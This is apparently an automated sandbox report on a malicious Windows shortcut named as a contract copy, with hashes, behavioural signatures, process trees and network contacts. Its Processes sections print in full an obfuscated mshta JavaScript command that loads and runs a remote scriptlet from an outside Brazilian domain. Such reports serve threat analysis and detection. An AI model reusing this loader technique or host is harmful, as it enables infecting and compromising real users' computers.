Malware Analysis Report

2025-01-18 00:25

Sample ID 240613-l7c8zsybjq
Target CONTRATO_COPIA_leandrocalcgraf.com.LnK.lnk
SHA256 13beb7634ad7cd986b315f6c578d5beb9b422a82034bf1ec1d43acac58437f80
Tags
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

13beb7634ad7cd986b315f6c578d5beb9b422a82034bf1ec1d43acac58437f80

Threat Level: Likely malicious

The file CONTRATO_COPIA_leandrocalcgraf.com.LnK.lnk was found to be: Likely malicious.

Malicious Activity Summary


Blocklisted process makes network request

Checks computer location settings

Enumerates physical storage devices

Modifies Internet Explorer settings

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-13 10:10

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-13 10:10

Reported

2024-06-13 10:12

Platform

win7-20240611-en

Max time kernel

118s

Max time network

119s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\CONTRATO_COPIA_leandrocalcgraf.com.LnK.lnk

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\mshta.exe N/A
N/A N/A C:\Windows\system32\mshta.exe N/A
N/A N/A C:\Windows\system32\mshta.exe N/A
N/A N/A C:\Windows\system32\mshta.exe N/A
N/A N/A C:\Windows\system32\mshta.exe N/A

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1340930862-1405011213-2821322012-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\system32\mshta.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1748 wrote to memory of 2756 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\cmd.exe
PID 1748 wrote to memory of 2756 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\cmd.exe
PID 1748 wrote to memory of 2756 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\cmd.exe
PID 2756 wrote to memory of 2732 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\mshta.exe
PID 2756 wrote to memory of 2732 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\mshta.exe
PID 2756 wrote to memory of 2732 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\mshta.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\CONTRATO_COPIA_leandrocalcgraf.com.LnK.lnk

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /v:on /D/c mshTa "jaVascrIpT:var _$_OREE=["\x58\121\132\x4f\124\107\x33","\163\143\162\x69\x70\x74\72\x48\x54\164\x70\x73\x3a\x2f\x2f\147\x6c\x6f\x6b\151\x6c\x2e\141\x6e\x64\x72\145\x64\157\x70\x72\x61\x64\157\x32\x32\71\x39\x39\56\x63\157\x6d\x2e\x62\x72\x2f\77\x31\57"];try{GetObject(_$_OREE[1])[_$_OREE[0]]()}catch(e){};close()"

C:\Windows\system32\mshta.exe

mshTa "jaVascrIpT:var _$_OREE=["\x58\121\132\x4f\124\107\x33","\163\143\162\x69\x70\x74\72\x48\x54\164\x70\x73\x3a\x2f\x2f\147\x6c\x6f\x6b\151\x6c\x2e\141\x6e\x64\x72\145\x64\157\x70\x72\x61\x64\157\x32\x32\71\x39\x39\56\x63\157\x6d\x2e\x62\x72\x2f\77\x31\57"];try{GetObject(_$_OREE[1])[_$_OREE[0]]()}catch(e){};close()"

Network

Country Destination Domain Proto
US 8.8.8.8:53 glokil.andredoprado22999.com.br udp
US 172.67.133.192:443 glokil.andredoprado22999.com.br tcp
US 8.8.8.8:53 www.instagram.com udp
GB 163.70.151.174:443 www.instagram.com tcp

Files

C:\Users\Admin\AppData\Local\Temp\Cab1299.tmp

MD5 49aebf8cbd62d92ac215b2923fb1b9f5
SHA1 1723be06719828dda65ad804298d0431f6aff976
SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512 bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

C:\Users\Admin\AppData\Local\Temp\Tar1357.tmp

MD5 4ea6026cf93ec6338144661bf1202cd1
SHA1 a1dec9044f750ad887935a01430bf49322fbdcb7
SHA256 8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA512 6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-13 10:10

Reported

2024-06-13 10:12

Platform

win10v2004-20240508-en

Max time kernel

51s

Max time network

51s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\CONTRATO_COPIA_leandrocalcgraf.com.LnK.lnk

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation C:\Windows\system32\cmd.exe N/A

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4068 wrote to memory of 1460 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\cmd.exe
PID 4068 wrote to memory of 1460 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\cmd.exe
PID 1460 wrote to memory of 2964 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\mshta.exe
PID 1460 wrote to memory of 2964 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\mshta.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\CONTRATO_COPIA_leandrocalcgraf.com.LnK.lnk

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /v:on /D/c mshTa "jaVascrIpT:var _$_OREE=["\x58\121\132\x4f\124\107\x33","\163\143\162\x69\x70\x74\72\x48\x54\164\x70\x73\x3a\x2f\x2f\147\x6c\x6f\x6b\151\x6c\x2e\141\x6e\x64\x72\145\x64\157\x70\x72\x61\x64\157\x32\x32\71\x39\x39\56\x63\157\x6d\x2e\x62\x72\x2f\77\x31\57"];try{GetObject(_$_OREE[1])[_$_OREE[0]]()}catch(e){};close()"

C:\Windows\system32\mshta.exe

mshTa "jaVascrIpT:var _$_OREE=["\x58\121\132\x4f\124\107\x33","\163\143\162\x69\x70\x74\72\x48\x54\164\x70\x73\x3a\x2f\x2f\147\x6c\x6f\x6b\151\x6c\x2e\141\x6e\x64\x72\145\x64\157\x70\x72\x61\x64\157\x32\x32\71\x39\x39\56\x63\157\x6d\x2e\x62\x72\x2f\77\x31\57"];try{GetObject(_$_OREE[1])[_$_OREE[0]]()}catch(e){};close()"

Network

Country Destination Domain Proto
US 8.8.8.8:53 glokil.andredoprado22999.com.br udp

Files

N/A